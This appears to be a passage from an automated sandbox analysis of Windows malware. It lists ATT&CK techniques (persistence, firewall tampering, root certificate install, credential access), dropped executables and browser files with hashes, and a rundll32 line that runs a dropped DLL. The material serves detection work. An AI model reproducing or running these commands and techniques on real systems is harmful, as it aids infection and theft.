                                                                                                                                                                      C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\ofqvFcNvzeRditbz\ViKQsLpw\WxIZUPa.dll",#1 /LHsite_idkmI 385118
                                                                                                                                                                      2⤵
                                                                                                                                                                      • Blocklisted process makes network request
                                                                                                                                                                      • Checks BIOS information in registry
                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                      • Enumerates system info in registry
                                                                                                                                                                      PID:5648
                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                        schtasks /DELETE /F /TN "QhciBzJOokLnyYZub"
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:4992

                                                                                                                                                                    Network

                                                                                                                                                                    MITRE ATT&CK Enterprise v15

                                                                                                                                                                    Reconnaissance

                                                                                                                                                                    Resource Development

                                                                                                                                                                    Initial Access

                                                                                                                                                                    Execution

                                                                                                                                                                    Scheduled Task/Job

                                                                                                                                                                    1
                                                                                                                                                                    T1053

                                                                                                                                                                    Persistence

                                                                                                                                                                    Boot or Logon Autostart Execution

                                                                                                                                                                    1
                                                                                                                                                                    T1547

                                                                                                                                                                    Registry Run Keys / Startup Folder

                                                                                                                                                                    1
                                                                                                                                                                    T1547.001

                                                                                                                                                                    Create or Modify System Process

                                                                                                                                                                    2
                                                                                                                                                                    T1543

                                                                                                                                                                    Windows Service

                                                                                                                                                                    2
                                                                                                                                                                    T1543.003

                                                                                                                                                                    Scheduled Task/Job

                                                                                                                                                                    1
                                                                                                                                                                    T1053

                                                                                                                                                                    Privilege Escalation

                                                                                                                                                                    Boot or Logon Autostart Execution

                                                                                                                                                                    1
                                                                                                                                                                    T1547

                                                                                                                                                                    Registry Run Keys / Startup Folder

                                                                                                                                                                    1
                                                                                                                                                                    T1547.001

                                                                                                                                                                    Create or Modify System Process

                                                                                                                                                                    2
                                                                                                                                                                    T1543

                                                                                                                                                                    Windows Service

                                                                                                                                                                    2
                                                                                                                                                                    T1543.003

                                                                                                                                                                    Scheduled Task/Job

                                                                                                                                                                    1
                                                                                                                                                                    T1053

                                                                                                                                                                    Defense Evasion

                                                                                                                                                                    Impair Defenses

                                                                                                                                                                    1
                                                                                                                                                                    T1562

                                                                                                                                                                    Disable or Modify System Firewall

                                                                                                                                                                    1
                                                                                                                                                                    T1562.004

                                                                                                                                                                    Modify Registry

                                                                                                                                                                    3
                                                                                                                                                                    T1112

                                                                                                                                                                    Subvert Trust Controls

                                                                                                                                                                    1
                                                                                                                                                                    T1553

                                                                                                                                                                    Install Root Certificate

                                                                                                                                                                    1
                                                                                                                                                                    T1553.004

                                                                                                                                                                    Virtualization/Sandbox Evasion

                                                                                                                                                                    1
                                                                                                                                                                    T1497

                                                                                                                                                                    Credential Access

                                                                                                                                                                    Unsecured Credentials

                                                                                                                                                                    1
                                                                                                                                                                    T1552

                                                                                                                                                                    Credentials In Files

                                                                                                                                                                    1
                                                                                                                                                                    T1552.001

                                                                                                                                                                    Discovery

                                                                                                                                                                    Peripheral Device Discovery

                                                                                                                                                                    2
                                                                                                                                                                    T1120

                                                                                                                                                                    Query Registry

                                                                                                                                                                    8
                                                                                                                                                                    T1012

                                                                                                                                                                    System Information Discovery

                                                                                                                                                                    8
                                                                                                                                                                    T1082

                                                                                                                                                                    Virtualization/Sandbox Evasion

                                                                                                                                                                    1
                                                                                                                                                                    T1497

                                                                                                                                                                    Lateral Movement

                                                                                                                                                                    Collection

                                                                                                                                                                    Data from Local System

                                                                                                                                                                    1
                                                                                                                                                                    T1005

                                                                                                                                                                    Command and Control

                                                                                                                                                                    Web Service

                                                                                                                                                                    1
                                                                                                                                                                    T1102

                                                                                                                                                                    Exfiltration

                                                                                                                                                                    Impact

                                                                                                                                                                    Replay Monitor

                                                                                                                                                                    Loading Replay Monitor...

                                                                                                                                                                    Downloads

                                                                                                                                                                    • C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi
                                                                                                                                                                      Filesize

                                                                                                                                                                      2.0MB

                                                                                                                                                                      MD5

                                                                                                                                                                      e30e3a5b5d1c4e01fc04a5f640489258

                                                                                                                                                                      SHA1

                                                                                                                                                                      d45f8ee1f500d3f525cc02fd991607187009ebd2

                                                                                                                                                                      SHA256

                                                                                                                                                                      1e7bc119fa3771f6a792cb4cb6e1f9e11e946fbb1ddd70fc46e59bc0ee97b3f9

                                                                                                                                                                      SHA512

                                                                                                                                                                      7d8eb050127c24247f84adda42c396cf317c3f973c692dfe32bdabeffd16c33f6ca67c653ffa1964d3b88306f8fe616c7a751b6d43018b8649c3d0cc05f9b27a

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json
                                                                                                                                                                      Filesize

                                                                                                                                                                      187B

                                                                                                                                                                      MD5

                                                                                                                                                                      2a1e12a4811892d95962998e184399d8

                                                                                                                                                                      SHA1

                                                                                                                                                                      55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

                                                                                                                                                                      SHA256

                                                                                                                                                                      32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

                                                                                                                                                                      SHA512

                                                                                                                                                                      bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json
                                                                                                                                                                      Filesize

                                                                                                                                                                      136B

                                                                                                                                                                      MD5

                                                                                                                                                                      238d2612f510ea51d0d3eaa09e7136b1

                                                                                                                                                                      SHA1

                                                                                                                                                                      0953540c6c2fd928dd03b38c43f6e8541e1a0328

                                                                                                                                                                      SHA256

                                                                                                                                                                      801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

                                                                                                                                                                      SHA512

                                                                                                                                                                      2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json
                                                                                                                                                                      Filesize

                                                                                                                                                                      150B

                                                                                                                                                                      MD5

                                                                                                                                                                      0b1cf3deab325f8987f2ee31c6afc8ea

                                                                                                                                                                      SHA1

                                                                                                                                                                      6a51537cef82143d3d768759b21598542d683904

                                                                                                                                                                      SHA256

                                                                                                                                                                      0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

                                                                                                                                                                      SHA512

                                                                                                                                                                      5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                                                      Filesize

                                                                                                                                                                      11KB

                                                                                                                                                                      MD5

                                                                                                                                                                      7d47ee664a4e49a2e157c928bdceef3e

                                                                                                                                                                      SHA1

                                                                                                                                                                      aca2efcbd04ab7cffd04e31228d3192692f7b82b

                                                                                                                                                                      SHA256

                                                                                                                                                                      7ccee053dc9cbc1b6537c0eba8f93e448566c6ba347fb8cb31e6a58a35aa3f4f

                                                                                                                                                                      SHA512

                                                                                                                                                                      f56992cfcb5caf9567623b8451ebaeeaa2f0790ac1fe30f0b1509033ac934f72f7ebbc8e573e3bdce5e2d38ee99a8f89a6658cba7da5d6243aa9b0302476f31f

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                                                                                                                                                                      Filesize

                                                                                                                                                                      2KB

                                                                                                                                                                      MD5

                                                                                                                                                                      a6ea7bfcd3aac150c0caef765cb52281

                                                                                                                                                                      SHA1

                                                                                                                                                                      037dc22c46a0eb0b9ad4c74088129e387cffe96b

                                                                                                                                                                      SHA256

                                                                                                                                                                      f019af2e5e74cdf13c963910500f9436c66b6f2901f5056d72f82310f20113b9

                                                                                                                                                                      SHA512

                                                                                                                                                                      c8d2d373b48a26cf6eec1f5cfc05819011a3fc49d863820ad07b6442dd6d5f64e27022a9e4c381eb58bf7f6b19f8e77d508734ff803073ec2fb32da9081b6f23

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\geiolieogaichbpfhcannipendgnnbkn\1.0.1_0\_locales\es\messages.json
                                                                                                                                                                      Filesize

                                                                                                                                                                      151B

                                                                                                                                                                      MD5

                                                                                                                                                                      bd6b60b18aee6aaeb83b35c68fb48d88

                                                                                                                                                                      SHA1

                                                                                                                                                                      9b977a5fbf606d1104894e025e51ac28b56137c3

                                                                                                                                                                      SHA256

                                                                                                                                                                      b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55

                                                                                                                                                                      SHA512

                                                                                                                                                                      3500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                                      Filesize

                                                                                                                                                                      9KB

                                                                                                                                                                      MD5

                                                                                                                                                                      37578b05f30079dfab9402d840965c77

                                                                                                                                                                      SHA1

                                                                                                                                                                      c386b95d64a15f1f4a3c6906446556d303713940

                                                                                                                                                                      SHA256

                                                                                                                                                                      8ed96ba8583756f2527ef70bff78cb9bf2afb7d7c1a5214e321feeef245522a7

                                                                                                                                                                      SHA512

                                                                                                                                                                      5e4a05added9a614dcc0b89ecc96e0bdcb33ef8ab5a66a4a096eaf697efae201f22de9f6c5f65a2fe7239f995670ab5d7e00fd6556a48b7a2eb9f2d4e830f9cc

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                                                                                                                                                                      Filesize

                                                                                                                                                                      21KB

                                                                                                                                                                      MD5

                                                                                                                                                                      d95bb2433432984a05ff6febc5952649

                                                                                                                                                                      SHA1

                                                                                                                                                                      c34d05f432a6d998f946896ae41bcef758b1398d

                                                                                                                                                                      SHA256

                                                                                                                                                                      aba97c4dab0eecba7b5d330995c60f4ea4268c2edb63201b30ffbb453ba2ce87

                                                                                                                                                                      SHA512

                                                                                                                                                                      62af186de5e31aea06e990adac6e836ded9d279bd01018ef9f4eaea751c29ef6c844a43114df35e2ef8a383c7dae973ba99b09eabd6df213842cbfcbcbca5e4b

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404191404511\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe
                                                                                                                                                                      Filesize

                                                                                                                                                                      2.5MB

                                                                                                                                                                      MD5

                                                                                                                                                                      15d8c8f36cef095a67d156969ecdb896

                                                                                                                                                                      SHA1

                                                                                                                                                                      a1435deb5866cd341c09e56b65cdda33620fcc95

                                                                                                                                                                      SHA256

                                                                                                                                                                      1521c69f478e9ced2f64b8714b9e19724e747cd8166e0f7ab5db1151a523dda8

                                                                                                                                                                      SHA512

                                                                                                                                                                      d6f48180d4dcb5ba83a9c0166870ac00ea67b615e749edf5994bc50277bf97ca87f582ac6f374c5351df252db73ee1231c943b53432dbb7563e12bbaf5bb393a

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404191404511\assistant\assistant_installer.exe
                                                                                                                                                                      Filesize

                                                                                                                                                                      1.9MB

                                                                                                                                                                      MD5

                                                                                                                                                                      976bc8e5fe65f9bb56831e20f1747150

                                                                                                                                                                      SHA1

                                                                                                                                                                      f9e7f5628aaaabed9939ef055540e24590a9ccfb

                                                                                                                                                                      SHA256

                                                                                                                                                                      f53c916ccf3d24d6793227283de2db0f6cc98a2275413851807cc080643d21a0

                                                                                                                                                                      SHA512

                                                                                                                                                                      2858e7e08418b170b21b599afb02236d0480d35a5605de142f10976489e01daf2ad80df0f09c2eb38bc5a971336d1f6aa9909c520bcdb18e9c9a8e903379dcd9

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404191404511\assistant\dbgcore.dll
                                                                                                                                                                      Filesize

                                                                                                                                                                      166KB

                                                                                                                                                                      MD5

                                                                                                                                                                      9ebb919b96f6f94e1be4cdc6913ef629

                                                                                                                                                                      SHA1

                                                                                                                                                                      31e99ac4fba516f82b36bd81784e8d518b32f9df

                                                                                                                                                                      SHA256

                                                                                                                                                                      fdae21127deb16eb8ba36f2493d2255f4cb8ab4c18e8bd8ba5e587f5a7ecd119

                                                                                                                                                                      SHA512

                                                                                                                                                                      a1b42f7d2896da270bb3c80cf9b88c4b4f1491084e7aa7760eeea5533b26f041dc79b21d5ffd2bba2221fe118e0a8d912e170f24fd895c9315b1ee9c7adfe700

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404191404511\assistant\dbghelp.dll
                                                                                                                                                                      Filesize

                                                                                                                                                                      1.7MB

                                                                                                                                                                      MD5

                                                                                                                                                                      544255258f9d45b4608ccfd27a4ed1dd

                                                                                                                                                                      SHA1

                                                                                                                                                                      571e30ceb9c977817b5bbac306366ae59f773497

                                                                                                                                                                      SHA256

                                                                                                                                                                      3b02fc85602e83059f611c658e3cad6bc59c3c51214d4fe7e31f3ac31388dd68

                                                                                                                                                                      SHA512

                                                                                                                                                                      2093da881fa90eec2b90d1ca6eaaff608fe16ac612571a7fd5ed94dd5f7ff7e5c1e8c862bab0a228850829527886473e3942abd23a81d10cab8f9baad2cc7664

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404191404511\opera_package
                                                                                                                                                                      Filesize

                                                                                                                                                                      103.8MB

                                                                                                                                                                      MD5

                                                                                                                                                                      5014156e9ffbb75d1a8d5fc09fabdc42

                                                                                                                                                                      SHA1

                                                                                                                                                                      6968d1b5cec3039e53bbbedeee22e2d43d94c771

                                                                                                                                                                      SHA256

                                                                                                                                                                      7a01e11e1830ba3c154e5a6c383da15938b1e48f89a2fe4045cdd260924b6802

                                                                                                                                                                      SHA512

                                                                                                                                                                      bfc5c44881d0fa7bcbccfd530d874fa624adec50e1a16063a72de12876d2db10ca5edd6fa841ea63e9deca3ff2adf54065f50719fe051d41de92bb68edba4016

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS7625.tmp\Install.exe
                                                                                                                                                                      Filesize

                                                                                                                                                                      6.8MB

                                                                                                                                                                      MD5

                                                                                                                                                                      e77964e011d8880eae95422769249ca4

                                                                                                                                                                      SHA1

                                                                                                                                                                      8e15d7c4b7812a1da6c91738c7178adf0ff3200f

                                                                                                                                                                      SHA256

                                                                                                                                                                      f200984380d291051fc4b342641cd34e7560cadf4af41b2e02b8778f14418f50

                                                                                                                                                                      SHA512

                                                                                                                                                                      8feb3dc4432ec0a87416cbc75110d59efaf6504b4de43090fc90286bd37f98fc0a5fb12878bb33ac2f6cd83252e8dfd67dd96871b4a224199c1f595d33d4cade

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Opera_installer_2404191404507553208.dll
                                                                                                                                                                      Filesize

                                                                                                                                                                      4.6MB

                                                                                                                                                                      MD5

                                                                                                                                                                      0415cb7be0361a74a039d5f31e72fa65

                                                                                                                                                                      SHA1

                                                                                                                                                                      46ae154436c8c059ee75cbc6a18ccda96bb2021d

                                                                                                                                                                      SHA256

                                                                                                                                                                      bb38a8806705980ee3e9181c099e8d5c425e6c9505a88e5af538ca6a48951798

                                                                                                                                                                      SHA512

                                                                                                                                                                      f71c2b9e1559aa4eb2d72f852ef9807c781d4a7b96b8e0c2c53b895885319146bd43aa6e4223d43159f3d40bc60704206404dc034500e47fca0a94e53b60239e

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dnuisomx.nia.ps1
                                                                                                                                                                      Filesize

                                                                                                                                                                      60B

                                                                                                                                                                      MD5

                                                                                                                                                                      d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                                                      SHA1

                                                                                                                                                                      6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                                                      SHA256

                                                                                                                                                                      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                                                      SHA512

                                                                                                                                                                      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                                                                                                                                                                      Filesize

                                                                                                                                                                      281KB

                                                                                                                                                                      MD5

                                                                                                                                                                      d98e33b66343e7c96158444127a117f6

                                                                                                                                                                      SHA1

                                                                                                                                                                      bb716c5509a2bf345c6c1152f6e3e1452d39d50d

                                                                                                                                                                      SHA256

                                                                                                                                                                      5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1

                                                                                                                                                                      SHA512

                                                                                                                                                                      705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\ulc.0.exe
                                                                                                                                                                      Filesize

                                                                                                                                                                      316KB

                                                                                                                                                                      MD5

                                                                                                                                                                      513e1df3bd8755c988baf3f682d3abc0

                                                                                                                                                                      SHA1

                                                                                                                                                                      909fa3f20c167213d94c6edc50bb43672d8cb41e

                                                                                                                                                                      SHA256

                                                                                                                                                                      9f8af4317529d2b35ddafa1b74a2379695cf0c68ef2639141fe0e875692b9e9d

                                                                                                                                                                      SHA512

                                                                                                                                                                      c838f5520bbd320c53a7daa536eef16cc819abf509b973d570e93a7906c5dafa569e07a81c11b73637daf8ff8e03aa508ef0825f3e5a36c8d98b3764cadb4ba4

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\ulc.3.exe
                                                                                                                                                                      Filesize

                                                                                                                                                                      4.6MB

                                                                                                                                                                      MD5

                                                                                                                                                                      397926927bca55be4a77839b1c44de6e

                                                                                                                                                                      SHA1

                                                                                                                                                                      e10f3434ef3021c399dbba047832f02b3c898dbd

                                                                                                                                                                      SHA256

                                                                                                                                                                      4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7

                                                                                                                                                                      SHA512

                                                                                                                                                                      cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\ryfa7gh4.default-release\prefs.js
                                                                                                                                                                      Filesize

                                                                                                                                                                      7KB

                                                                                                                                                                      MD5

                                                                                                                                                                      5c02b5c4f94d718edcd4c0e6fd296aa6

                                                                                                                                                                      SHA1

                                                                                                                                                                      8be9f3f2b7b9c91e7be2d918c3e90893aa7b7e2b

                                                                                                                                                                      SHA256

                                                                                                                                                                      d9a5cde26a454372adc408ae242dd05110a90c3c48cf873169e524d905b66d06

                                                                                                                                                                      SHA512

                                                                                                                                                                      96e5495f0519947ca35a91b5f36aec2583d4d333e0b8e75e4850ec160aabfeaf17a85f89c72e76ed956c8c16edfa79931411a92809bbb2e81c8b682f7c98af51

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports\settings.dat
                                                                                                                                                                      Filesize

                                                                                                                                                                      40B

                                                                                                                                                                      MD5

                                                                                                                                                                      1de04f96914b420ce2fced5336765d97

                                                                                                                                                                      SHA1

                                                                                                                                                                      c60bd7f83cad273e1d98aecaba41e39457778482

                                                                                                                                                                      SHA256

                                                                                                                                                                      496f940ab9a8c051bb48f7779e20da440e698c03a50fe9f7753d4249d59752b8

                                                                                                                                                                      SHA512

                                                                                                                                                                      bec1c056bae68423b50dddbf622ed1f84f0150a7da867ce91320066d4be1ab47d6402e367f352fa17eba24616ad9ceaf6fe78481cf254c062b8b5a594e487527

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Users\Admin\Pictures\LdUE2a32dE3B01kT9zDrukhG.exe
                                                                                                                                                                      Filesize

                                                                                                                                                                      4.2MB

                                                                                                                                                                      MD5

                                                                                                                                                                      7ea234dfc011f40047e769b15ebe661b

                                                                                                                                                                      SHA1

                                                                                                                                                                      5a779733891b290d45b3009eb4ceb17c41a2401d

                                                                                                                                                                      SHA256

                                                                                                                                                                      c7c0f3e7c270835c0af43a4103d9ef95f85f3ce48d7ab7863d1d3a2fae1847c8

                                                                                                                                                                      SHA512

                                                                                                                                                                      71f90fcd6f1c72ab8e9498ff811982db7dd0aa28bb384e8642b3dd75db7b699d853725930eba629e7fa27449bd876a70c8be2619ebc09f514ae06cde714bc9fd

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Users\Admin\Pictures\R84XgkwYCGHfoB3THGDD5mNW.exe
                                                                                                                                                                      Filesize

                                                                                                                                                                      6.4MB

                                                                                                                                                                      MD5

                                                                                                                                                                      aaa56797070369ad346fbd9bb6cc5e8b

                                                                                                                                                                      SHA1

                                                                                                                                                                      a1d01943f0a354d3a000628262671254ca6a91b8

                                                                                                                                                                      SHA256

                                                                                                                                                                      9d7d08ac35f0113f7c814d257bf88b8222975aaa0a3fdeda88ac7185dbc50905

                                                                                                                                                                      SHA512

                                                                                                                                                                      e69d25a158567c6bce6e9450de17d0814b9b9c11f4bb31e5dcc3e8b4378062cc7e31da625f6ba4a2280b393034a6c832a0fc0a1e16364dc7e8c8146de245b5be

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Users\Admin\Pictures\i5WHEvos3BIMKMpqbk2wODrZ.exe
                                                                                                                                                                      Filesize

                                                                                                                                                                      2.5MB

                                                                                                                                                                      MD5

                                                                                                                                                                      749cb9cb3ce89a03fdd97a9aaf96e895

                                                                                                                                                                      SHA1

                                                                                                                                                                      73ecd478ace66e1dfb7aeed8ed061af48214a46f

                                                                                                                                                                      SHA256

                                                                                                                                                                      85aeb0eca144912f0713ac4e8392e2645a91bb4ba8e2ffa55e5bf834665170af

                                                                                                                                                                      SHA512

                                                                                                                                                                      ac0afac898ab53a3277b4d1aef90af246ca8596872a6a61bbf47817c1ea038fc4394094a4d14d2cc0aa94aeaf1435f9ccc7cf7143010ff581fd4256dc653bd31

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Users\Admin\Pictures\l6LSdyUHXm4SFBWhR2naUyoe.exe
                                                                                                                                                                      Filesize

                                                                                                                                                                      7KB

                                                                                                                                                                      MD5

                                                                                                                                                                      5b423612b36cde7f2745455c5dd82577

                                                                                                                                                                      SHA1

                                                                                                                                                                      0187c7c80743b44e9e0c193e993294e3b969cc3d

                                                                                                                                                                      SHA256

                                                                                                                                                                      e0840d2ea74a00dcc545d770b91d9d889e5a82c7bedf1b989e0a89db04685b09

                                                                                                                                                                      SHA512

                                                                                                                                                                      c26a1e7e96dbd178d961c630abd8e564ef69532f386fb198eb20119a88ecab2fe885d71ac0c90687c18910ce00c445f352a5e8fbf5328f3403964f7c7802414c

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Users\Admin\Pictures\pkFqx95ygiXcp9uKNIAU6KGe.exe
                                                                                                                                                                      Filesize

                                                                                                                                                                      5.1MB

                                                                                                                                                                      MD5

                                                                                                                                                                      fb2fa33d9a08da7e95b553ff8487e328

                                                                                                                                                                      SHA1

                                                                                                                                                                      5f0329ccc8dfed784353ec12fac5efc80384c1ee

                                                                                                                                                                      SHA256

                                                                                                                                                                      d8d7763ece24d6ffb9544171f5af36f3fc3bca7fba3f872752adf0dce521b661

                                                                                                                                                                      SHA512

                                                                                                                                                                      6be950c2ca60153eb33357ceadf8fbf2cf9019bf7103d050cc772b3403f486d268d7e079df21ef8333c5bf7753bf5c7ec42ca04bae09e47c76d955cac29478d9

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Users\Admin\Pictures\v1GloRmtlH7A4ZF27q5awSsA.exe
                                                                                                                                                                      Filesize

                                                                                                                                                                      472KB

                                                                                                                                                                      MD5

                                                                                                                                                                      91a5c37b8ffaf4337e6a180b53cb3bc9

                                                                                                                                                                      SHA1

                                                                                                                                                                      f26e6a9a0469259358bf11d7520d97b1a1217d0d

                                                                                                                                                                      SHA256

                                                                                                                                                                      0a8a918a87480164a28ff60fb51ca3fc54afdf9ebce43343a8f2c05c2431ce46

                                                                                                                                                                      SHA512

                                                                                                                                                                      6d968aca48c66fd2207308aeeb5dfd3e9eec4a523a8fa31259352eee359018772b41095b87453bea548b45c3f35fc22a2855ab11a1269705839fde3c8439c294

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                                                                                                                                                                      Filesize

                                                                                                                                                                      2KB

                                                                                                                                                                      MD5

                                                                                                                                                                      3d086a433708053f9bf9523e1d87a4e8

                                                                                                                                                                      SHA1

                                                                                                                                                                      b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28

                                                                                                                                                                      SHA256

                                                                                                                                                                      6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69

                                                                                                                                                                      SHA512

                                                                                                                                                                      931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                                                                                                                                                                      Filesize

                                                                                                                                                                      19KB

                                                                                                                                                                      MD5

                                                                                                                                                                      f389cb4db9d1eba54d7892fb5467be38

                                                                                                                                                                      SHA1

                                                                                                                                                                      ac8a660e5a758462069f8b08504ef4cf25802000

                                                                                                                                                                      SHA256

                                                                                                                                                                      4f03fe3f5b727ec12bf8a2beb1ddf00bfc6cbd3bcca6f49510f4fad5734bb939

                                                                                                                                                                      SHA512

                                                                                                                                                                      989c3ae4ae4f7c5d207cc1cdd2c16983e37eb9600f222c5367dad7607c4a1186c7b69d74ca55fe8e8c0137a1f73ef6bf0138cfd946122df9fb1388ba633efdb0

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                                                                                                                                                                      Filesize

                                                                                                                                                                      19KB

                                                                                                                                                                      MD5

                                                                                                                                                                      6cfd1c02ada13c47a6c0e4384016798f

                                                                                                                                                                      SHA1

                                                                                                                                                                      66d60265c0d3d2db38c9cad2357915c3d6078889

                                                                                                                                                                      SHA256

                                                                                                                                                                      c3803e966366657282f4008f1700fe2cac66402c84b5e10e7d703e29c8a182f0

                                                                                                                                                                      SHA512

                                                                                                                                                                      098f50dc8bd17fc9de3123df2ba2b7318b6bf7a1e9b01794cd7990530ce67909d0e3eac0ee9d283ef88ebb104578478f5905c5c76ee9168765690356a722e400

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                                                                                                                                                                      Filesize

                                                                                                                                                                      19KB

                                                                                                                                                                      MD5

                                                                                                                                                                      cd959341129ee16e6ba3e3e9509aa1cc

                                                                                                                                                                      SHA1

                                                                                                                                                                      233784d46d17530a7a3bb6b851923e97d3ee0980

                                                                                                                                                                      SHA256

                                                                                                                                                                      601262fd2f916223f6993b69f9f3625f03d8e7e8e6c9a3b0ea4bd31cbd5c70fc

                                                                                                                                                                      SHA512

                                                                                                                                                                      5cf39fe719011762408990cd9c50fc02b25998aeeb9c72e5f272c6952f0cf4559be6129f6accab1868124a05777ba726df3f33cac450d520d06a7d95e85c581b

                                                                                                                                                                      Download Submit

                                                                                                                                                                    • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                                                                                                                                                                      Filesize

                                                                                                                                                                      19KB

                                                                                                                                                                      MD5

                                                                                                                                                                      bd77d3f5f5f5b6d6a9f831a75e674fdd

                                                                                                                                                                      SHA1

                                                                                                                                                                      9e0d39064f4ebf0755ae05bb41b6c098d7ed8566

                                                                                                                                                                      SHA256

                                                                                                                                                                      0004703d28163c6eaf7b8d5fd7e1981a234e528a4d691df79819b76883f0f75a

                                                                                                                                                                      SHA512

